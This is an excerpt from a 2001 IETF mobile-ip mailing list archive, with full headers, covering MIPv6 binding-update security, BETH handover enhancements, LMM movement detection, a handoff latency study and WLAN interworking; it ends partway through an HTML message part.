	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNB53r002668
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:11:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQN3HoQ001217
	for mobile-ip-dist; Mon, 26 Nov 2001 15:03:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN0u4a000527
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:02:49 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA26008
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 24 Nov 2001 11:36:33 -0800 (PST)
Received: from ws130.nomadiclab.com (ws130.nomadiclab.com [195.165.196.130])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA10417
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 24 Nov 2001 12:36:15 -0700 (MST)
Received: from ws34.nomadiclab.com (ws34.nomadiclab.com [195.165.196.34])
	by ws130.nomadiclab.com (Postfix) with ESMTP
	id 4006774403; Sat, 24 Nov 2001 21:41:35 +0200 (EET)
Received: from nomadiclab.com (localhost [127.0.0.1])
	by ws34.nomadiclab.com (Postfix) with ESMTP
	id DB78EBA21; Sat, 24 Nov 2001 21:36:29 +0200 (EET)
Message-ID: <3BFFF6BB.9050209@nomadiclab.com>
Date: Sat, 24 Nov 2001 21:36:27 +0200
From: Pekka Nikander <Pekka.Nikander@nomadiclab.com>
User-Agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Cc: Michael Thomas <mat@cisco.com>, Jari Arkko <Jari.Arkko@lmf.ericsson.se>,
        Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
References: <Roam.SIMC.2.0.6.1006507235.11233.nordmark@bebop.france>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

> A possible such infrastructure (not arguing that it should be built) would
> be to 
>  - DNSsec secure all of the ip6.arpa tree
>  - store certificates or public keys in the ip6.arpa tree for each IPv6
>    address (e.g. using CERT or KEY or APPKEY??? records)
> 
> The properties of such an approach would be that a node receiving a BU could
> do a reverse lookup of the home address, find the public key in the DNS
> (and verify that the DNSsec signatures for the delegations in the ip6.arpa
> tree are ok), and verify the public-key signature on the BU.
> 
> Such an approach would strictly be more secure than CAM/SUCV, because it
> prevents somebody from creating bogus home addresses on the fly.
> The creator of a home address must convince their DNS to install their
> public key in their part of the ip6.arpa tree. (Of course, this might be 
> at odds with the ability to create RFC 3041 temporary addresses...)


I agree.

However, I did some back-of-the-envelope performance analysis on this some
time last spring when I considered the options.  I don't remember the exact
results any more, but if we asssume a reasonable delegation architecture,
the number of DNS queries that you have to do, and more importantly, the
number of public key signatures that you have to check are quite large,
i.e. in the order of 5-10 signature checks.  Quite high penalty for being
able to use route optimizations -- how many servers would be willing to
pay that?

And then we would have the administrative problems, too....


> Given that we are *not* going to build the above,
> it seems like we only have two fundamental security corner stones that we can
> build on that provide per-home-address control:
>  - return routability
>  - the interface ID of the address being a (truncated) hash of a public key
>    (as in CAM and SUCV)


Well, I think that the HIP approach of throwing in an architecturally
new protocol layer, with public keys acting as Host Identifiers, is
yet another approach.  But, of course, we wouldn't have the home address
any more (only the host ID), so perhaps that doesn't count.

--Pekka Nikander



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:18:30 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11123
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:18:30 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA21348;
	Mon, 26 Nov 2001 16:17:13 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA05086;
	Mon, 26 Nov 2001 15:15:56 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNCO1V002867
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:12:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQNCOUn002866
	for mobile-ip-dist; Mon, 26 Nov 2001 15:12:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNC029002795
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:12:13 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA12075
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 14:27:26 -0800 (PST)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA10939
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 14:27:48 -0800 (PST)
Received: from davir02nok.americas.nokia.com (davir02nok.americas.nokia.com [172.18.242.85])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fAQMSiQ18081
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 16:28:44 -0600 (CST)
Received: from daebh002.NOE.Nokia.com (unverified) by davir02nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5775e48d8dac12f255079@davir02nok.americas.nokia.com> for <mobile-ip@sunroof.eng.sun.com>;
 Mon, 26 Nov 2001 16:27:47 -0600
Received: from daebe001.NOE.Nokia.com ([172.18.242.222]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Mon, 26 Nov 2001 16:27:47 -0600
Subject: [mobile-ip] BETH Enhancements-New Version
Date: Mon, 26 Nov 2001 16:27:47 -0600
Message-ID: <07EE0E021034014F99A57B032BC9C0E50FF61C@daebe001.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: draft-sreeman-enhance-beth-ipv6-00.txt
content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
Thread-Index: AcFIr2BP7mV+5rR1EdWaKURFU1QAAAqRkZxwAO5X+eAABdlj8A==
From: "Sreemanthula Srinivas (NRC/Dallas)" <Srinivas.Sreemanthula@nokia.com>
To: <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 26 Nov 2001 22:27:47.0498 (UTC) FILETIME=[934E70A0:01C176C9]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fAQNCE1V002845
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Here is the new version of draft on Beth Handover Enhancements. This
draft supersedes the previous version.  The draft may not be announced
as it was not accepted by the IETF server, because of strict cut off
times.  But, here is the link as we make specific proposals for
consideration in the email discussions and not particularly for the next
IETF meeting. 

http://people.nokia.net/~patil/Internet_Drafts/
draft-sreeman-enhance-beth-ipv6-01.txt

     Abstract 
         This document discusses enhancements to the Bi-directional Edge

	   Tunnel Handover for IPv6 protocol described in
draft-kempf-beth-
	   ipv6-02.txt. The proposal in the present draft offers some
practical 
	   improvements to the draft-kempf-beth-ipv6-02.txt in several
respects 
	   to expand the overall applicability of BETH proposal. We
propose 
	   support for multiple CoA in BETH messaging, negotiation of 
	   parameters during the tunnel establishment to allow tunnel
lifetime 
	   negotiation and the indication of one-time only tunnels based
on 
	   policies.  Also, we propose to enhance the mechanism for
subsequent 
	   handovers (Handoff to Third) by providing a means to allow
"chained" 
	   tunnels instead of anchored tunnels.  

 Regards,
 Srinivas Sreemanthula


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:22:54 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11599
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:22:54 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA01906;
	Mon, 26 Nov 2001 15:21:45 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA05053;
	Mon, 26 Nov 2001 15:15:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNB53t002668
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:11:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQN4nTo001663
	for mobile-ip-dist; Mon, 26 Nov 2001 15:04:49 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN3u1i001409
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:04:02 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA17055
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 08:21:39 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA24548
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 08:22:02 -0800 (PST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAQGM0524744
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 08:22:00 -0800 (PST)
Message-ID: <002501c17696$40657f10$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com> <3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
Date: Mon, 26 Nov 2001 08:20:23 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I agree with Theo and Mike on this.

There is a danger with LMM that it will become a routing overlay. The
requirements must clearly establish that it isn't, to avoid adverse
interactions with routing. Therefore, I think the requirements need to
explicitly state that movement detection for LMM agents is done via AR
movement detection.

        jak

----- Original Message -----
From: "Theo Pagtzis" <t.pagtzis@cs.ucl.ac.uk>
To: <mobile-ip@sunroof.eng.sun.com>
Sent: Wednesday, November 21, 2001 6:00 PM
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection


> hmm....
>
> IMHO we must keep the AR and LMM entities fused as one (tightly
> coupled). The reason is that if you don't do that you introduce
> immediately a routing overlay...on top of ARs..routing-wise I think
this
> is going to be non-optimal
>
> "Jari T. Malinen" wrote:
> >
> > This reminds me that there was a question in the design team
> > on what the autoconfiguration in the text refers to. In addition
> > to setting up the capability advertisement in ARs, you say it also
> > encompasses the MN operation on recognizing the capability.  This
> > is clearer if there is also the text on LMM domain movement
detection
> > as a separate item.
>
> yes perhaps we could accomodate such mention..it is not unreasonable
> especially for spare LMM deployment..
>
> >
> > Settling whether the AR/LMM domains are coupled/decoupled now may
> > indeed help evaluation but it also may lead to the kind of dispute
> > Mike was refering to: if we now say AR/LMM domains are the same or
not,
> > we create the kind of assumption that later may get challenged.
> > To help evaluation when leaving it as a design space issue we may
> > consider a basic design principle of making protocols independent of
> > each other when possible.
>
> beware..(see top) because if you do them independent...you effectively
> talk about routing overlays..this is against aforementioned
requirements
> in the LMM req draft.
>
>
> Theo
> UCL/Mobile Systems
>
> >
> > BR,
> >
> > -Jari
> >
> > Theo Pagtzis wrote:
> > >
> > > Hi Mike,
> > >
> > >   the issue of LMM detection pertains primarily on the established
issue
> > > for (auto)configuration of the LMM..since they have to advertise
their
> > > existence (or better LMM capability). Advertisment alone can
effect one
> > > level of indirection (let's put it this way) in the 'detection'
> > > abstraction still at L3. How you do that is up to the LMM
> > > autoconfiguration protocol but it has indeed been addressed in the
> > > requirement space IMHO as the requirement for autoconfiguration...
> > >
> > > I would suggest we do not scratch this wound on this draft...there
is _a
> > > lot of space for another_ a pointer for it already exists though..
> > >
> > > So by just a single capability flag I can solve (very crudely) and
fuse
> > > the AR/LMM detection...the requirement is how to configure the
thing to
> > > do that cooperatively with an AR/LMM population and has been
addressed I
> > > am sure... (I wrote it.. :)
> > >
> > > Theo
> > > UCL/Mobile Systems
> > >
> > > Michael Thomas wrote:
> > > >
> > > > Jari T. Malinen writes:
> > > >  > For Mike: AR domain and LMM domain detection
coupling/decoupling is
> > > >  > a design space issue, if the former is always available and
can indicate
> > > >  > the presence of support for LMM, ok, it is just worth
mentioning LMM domain
> > > >  > detection is an issue whether provided separately or by e.g.
AR domain
> > > >  > detection.
> > > >
> > > >    Hmm. Putting it into design space makes it harder to
> > > >    evaluate solutions by comparing them to requirements.
> > > >    A somewhat similar argument erupted a while ago about
> > > >    the assumption that the AAA and HA were always in the
> > > >    same administrative realm. If we were drawing
> > > >    up requirements for that, I'd say that that would
> > > >    be a pretty important one to settle on. I'm
> > > >    somewhat concerned that this could be a similar
> > > >    case and that it would be better resolved in the
> > > >    requirements phase rather than 6 months into
> > > >    the design phase...
> > > >
> > > >               Mike
>



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:23:41 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11627
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:23:41 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA25451;
	Mon, 26 Nov 2001 16:22:18 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA08724;
	Mon, 26 Nov 2001 15:22:18 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNLQ1V003479
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:21:26 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQNLQHE003477
	for mobile-ip-dist; Mon, 26 Nov 2001 15:21:26 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNLL1V003463
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:21:21 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA05275
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 13:28:48 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA24776
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 14:29:10 -0700 (MST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAQLSk506431
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 13:28:46 -0800 (PST)
Message-ID: <031c01c176c1$1b0431f0$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] Analysis and Comparison of Low Latency MIPv4 Handover Algorithms
Date: Mon, 26 Nov 2001 13:27:09 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Folks,

Jon Wood and I did a study comparing PreReg, Postreg, and standard MIPv4
(SMIPv4) handoff. It is at http://www.geocities.com/llanalysis.pdf (it
will shortly also appear at the DoCoMo Labs USA web site as well).
Apologies for the paper format, but it is difficult to get fine
depiction of experimental results in graphs using ASCII text. The study
describes implementation experience with the 2 low latency algorithms
(some of which Jon has already posted to the list), and a series of
experiments we performed to measure the sensitivity of all three
algorithms to various components of handoff latency. Issues arising from
the study will be discussed in a slot at the Mobile IP Working Group
Meeting at IETF 52. If you have any specific issues on the study itself
or the paper, please post them to the list.

                    jak



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:26:19 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11792
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:26:18 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA02337;
	Mon, 26 Nov 2001 15:22:39 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA04756;
	Mon, 26 Nov 2001 15:15:08 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNB53p002668
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:11:37 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQN1m2I000766
	for mobile-ip-dist; Mon, 26 Nov 2001 15:01:48 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQN0U2R000424
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:00:53 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA27283
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 09:10:33 -0800 (PST)
Received: from idcpa4.pa.interdigital.com ([12.32.197.142])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA27944
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 09:10:31 -0800 (PST)
Received: by idcpa4.pa.interdigital.com with Internet Mail Service (5.5.2653.19)
	id <RN0955VB>; Mon, 26 Nov 2001 12:09:21 -0500
Message-ID: <A1170612471BD21185B90008C7FA0A0D0327F9B9@idcpa4.pa.interdigital.com>
From: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
To: "'Pat R. Calhoun'" <pcalhoun@bstormnetworks.com>,
        "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>,
        "'Gary Kenward'"
	 <gkenward@nortelnetworks.com>
Cc: "'kempf@docomolabs-usa.com'" <kempf@docomolabs-usa.com>,
        "'seamoby@cdma-2000.org'" <seamoby@cdma-2000.org>,
        "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Date: Mon, 26 Nov 2001 12:09:17 -0500
Sensitivity: Company-Confidential
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C1769D.14D4FBD0"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1769D.14D4FBD0
Content-Type: text/plain;
	charset="iso-8859-1"

No, MIP is not sufficient, in my oppinion. There are many other issues
involved when the MN changes its AP from one WLAN to another. 
 
-          Fast, seamless handover.
-          Authentication and authorization.
-          Billing (especially if the two WLANs are controlled by different
operators).
-          Context transfer
-          Mobility management.
-          Quality-of-Service.
 
Now, the IETF has different protocol for these, but how they fit together
into the interworking problem should be looked at.
 
Also important, is to understand how the L2 functions in the WLANs
interoperate with the functions in the IP layer. Perhaps, some functions are
better done in L2, while others in the IP layer .....
 
WLANs are going to be deployed more and more now, in campuses, enterprise
networks, and also in home networking. And how to interconnect them is of
great importance.
 
Thus, I believe, if there were sufficient interest from people, IETF should
consider taking an active role in attempting to understand ALL the issues
and decide what (if anything) to do.
 
Thus, a BOF session on "Interconnecting 802.11 in IP Layer"  is a small
step.
 
I am hoping to get a general feedback. Thanks.
 
 
-Sharif.
 
-----Original Message-----
From: Pat R. Calhoun [mailto:pcalhoun@bstormnetworks.com]
Sent: Monday, November 26, 2001 11:46 AM
To: 'Shahrier, Sharif M.'; 'Gary Kenward'
Cc: 'kempf@docomolabs-usa.com'
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Sensitivity: Confidential
 
  
-----BEGIN PGP SIGNED MESSAGE----- 
Hash: SHA1 
Right so if MIP is sufficient, no BOF is required. 
  
PatC 
- -----Original Message----- 
From: Shahrier, Sharif M. [ mailto:Sharif.Shahrier@InterDigital.com
<mailto:Sharif.Shahrier@InterDigital.com> ] 
Sent: Monday, November 26, 2001 8:38 AM 
To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward' 
Cc: 'kempf@docomolabs-usa.com' 
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt 
Sensitivity: Confidential 
 
Well, an  interworking solution need not necessarily be  a radio 
access network (RAN)  based solution. In fact, I have been 
researching into what companies are doing to interwork different 
types of networks, including 802.11. Most of them seem to be using 
Mobile IP (RFC2002), with some extensions of their own. 
As for IEEE, they just do L1 and L2, and nothing else. 
- -Sharif. 
The IESG would have zero interest on developing an air interface 
specific solution, and IEEE shouldn't get involved in L3 and above. 
  
See the problem :( 
  
PatC 
- - -----Original Message----- 
From: Shahrier, Sharif M. [ mailto:Sharif.Shahrier@InterDigital.com
<mailto:Sharif.Shahrier@InterDigital.com> ] 
Sent: Monday, November 26, 2001 8:19 AM 
To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward' 
Cc: 'kempf@docomolabs-usa.com' 
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt 
Sensitivity: Confidential 
  
As far as I know, the MWIF are currently looking into interconnecting 
solutions for WLANs. Also, SA1 in 3GPP have a WI on interconnecting 
UMTS and WLANs, so it may be interconnecting 802.11's are a sub-set 
of that. What are the chances of requesting the IESG about forming an 
ad-hoc at the next IETF meeting, and getting a favorable response 
......? 
  
- - -Sharif. 
  
- - -----Original Message----- 
From: Pat R. Calhoun [ mailto:pcalhoun@bstormnetworks.com
<mailto:pcalhoun@bstormnetworks.com> ] 
Sent: Monday, November 26, 2001 11:07 AM 
To: 'Shahrier, Sharif M.'; 'Gary Kenward' 
Cc: 'kempf@docomolabs-usa.com' 
Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt 
Sensitivity: Confidential 
  
- - -----BEGIN PGP SIGNED MESSAGE----- 
Hash: SHA1 
yes, I have particular interest in this area, but I am also not sure 
that the standards body is the right place for this work. 
  
PatC 
- - - -----Original Message----- 
 - 

------_=_NextPart_001_01C1769D.14D4FBD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 9">
<meta name=3DOriginator content=3D"Microsoft Word 9">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C17673.F462B230">
<title>RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt</title>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
